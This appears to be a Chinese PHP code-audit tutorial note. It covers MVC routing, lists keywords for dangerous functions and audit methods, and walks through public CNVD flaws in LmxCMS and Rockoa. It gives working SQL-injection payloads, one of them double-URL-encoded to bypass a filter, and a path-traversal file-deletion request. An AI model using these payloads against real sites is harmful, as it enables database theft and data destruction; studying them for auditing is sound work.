知识点:
1、PHP审计-MVC开发-控制&模块&视图
2、PHP审计-MVC开发-SQL注入&文件安全
PHP常见漏洞关键字: SQL注入:selectinsert update mysql_query mysqli等 文件上传:$_FILES,type="file",上传,move_uploaded_file()等 XSS跨站: print print_rechosprintf die var_dump var_export等 文件包含: include include_once require require_once等 代码执行:evalassert preg_replace call_user_func call_user_func_array 命令执行: systemexecshell_exec `` passthru pcntl_exec popen proc_open等 变量覆盖: extract()parse_str()importrequestvariables()$$等 反序列化: serialize()unserialize()__construct __destruct等 其他漏洞: unlink()file_get_contents()show_source()file()fopen()等 通用关键字:$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等 注释关键字: 通过开发者对代码的优化注释搜索功能代码段MVC流程:1、Controller截获用户发出的请求;2、Controller调用Model完成状态的读写操作;3、Controller把数据传递给View;4、View渲染最终结果并呈献给用户。 MVC各层职能:1、控制器Controller层–负责响应用户请求、准备数据,及如何展示数据。2、模块Model层–管理业务逻辑和数据库逻辑,提供连接操作数据库的抽象层。3、视图View层–负责前端模版渲染数据,通过HTML方式呈现给用户。 MVC对审计主要影响:1、文件代码定位问题2、代码过滤分析问题3、前端安全发现问题 MVC开发审计入口常见方法: 搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路 功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路 对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路 特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等,后续补充 工具法:后续讲到(IAST DAST SAST AI项目等)调试法:动态插桩调试 MVC开发审计流程方法:1、搞清URL路由对应(逻辑代码,静态页面等)2、搞清核心配置文件(提交接受,全局过滤等)3、搞清是否为开发框架(ThinkPHP,Yii等)演示案例-代码审计-MVC层-URL路由&SQL注入&文件安全
一、LmxCMS 非框架MVC URL路由
通过URL地址判断是否是MVC
通过源码文件名判断是否是MVC
如何通过URL地址找到对应代码在哪个文件
二、LmxCMS 非框架MVC SQL注入
https://www.cnvd.org.cn/flaw/show/CNVD-2023-98192
利用方式:Payload (URL编码两次,借助解码绕过) 绕过思路:name-->url解码-->filter_sql-->url解码 Payload:1' and updatexml(0,concat(0x7e,user()),1)#完整Payload:/index.php?m=Tags&name=%2531%2527%2520%2561%256e%2564%2520%2575%2570%2564%2561%2574%2565%2578%256d%256c%2528%2530%252c%2563%256f%256e%2563%2561%2574%2528%2530%2578%2537%2565%252c%2575%2573%2565%2572%2528%2529%2529%252c%2531%2529%2523三、LmxCMS 非框架MVC 文件删除
https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469
搜索关键字
删除(unlink)->delbackdb#delOne()->BackdbAction.class.php功能
备份数据删除->delbackdb#delOne()->BackdbAction.class.phpadmin.php?m=backdb&a=delbackdb&filename=../../1.txt四、Rockoa 非框架MVC SQL注入(1)
参考文章:https://xz.aliyun.com/news/18185
安装搭建:http://www.rockoa.com/view_anzz.html
URL路由关系:a是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录
insert->opendkqAction.php->addkqjs()->senddata()->zktimeAction()/task/openapi/opendkqAction.php文件下的zktimeAction方法functionarrvalue($arr,$k,$dev=''){$val=$dev;if(isset($arr[$k]))$val=$arr[$k];return$val;}而这个arrvalue就是用来接收数组的,而这个$k就是$sn也就是sn参数。POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1 Host:192.168.1.4:89{"xxx":{"sn":"123' and sleep(0)#"}}五、Rockoa 非框架MVC SQL注入(2)
参考文章:https://xz.aliyun.com/news/18185
安装搭建:http://www.rockoa.com/view_anzz.html
URL:a是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录
select->getuserid()->querydataAction()->openbaseAction.php /task/openapi/openbaseAction.php文件下的querydata方法POST /index.php?m=openbase|openapi&d=task&a=querydata HTTP/1.1{"baseoptid":"1","basemodenum":"xxx' OR SLEEP(0.04)#"}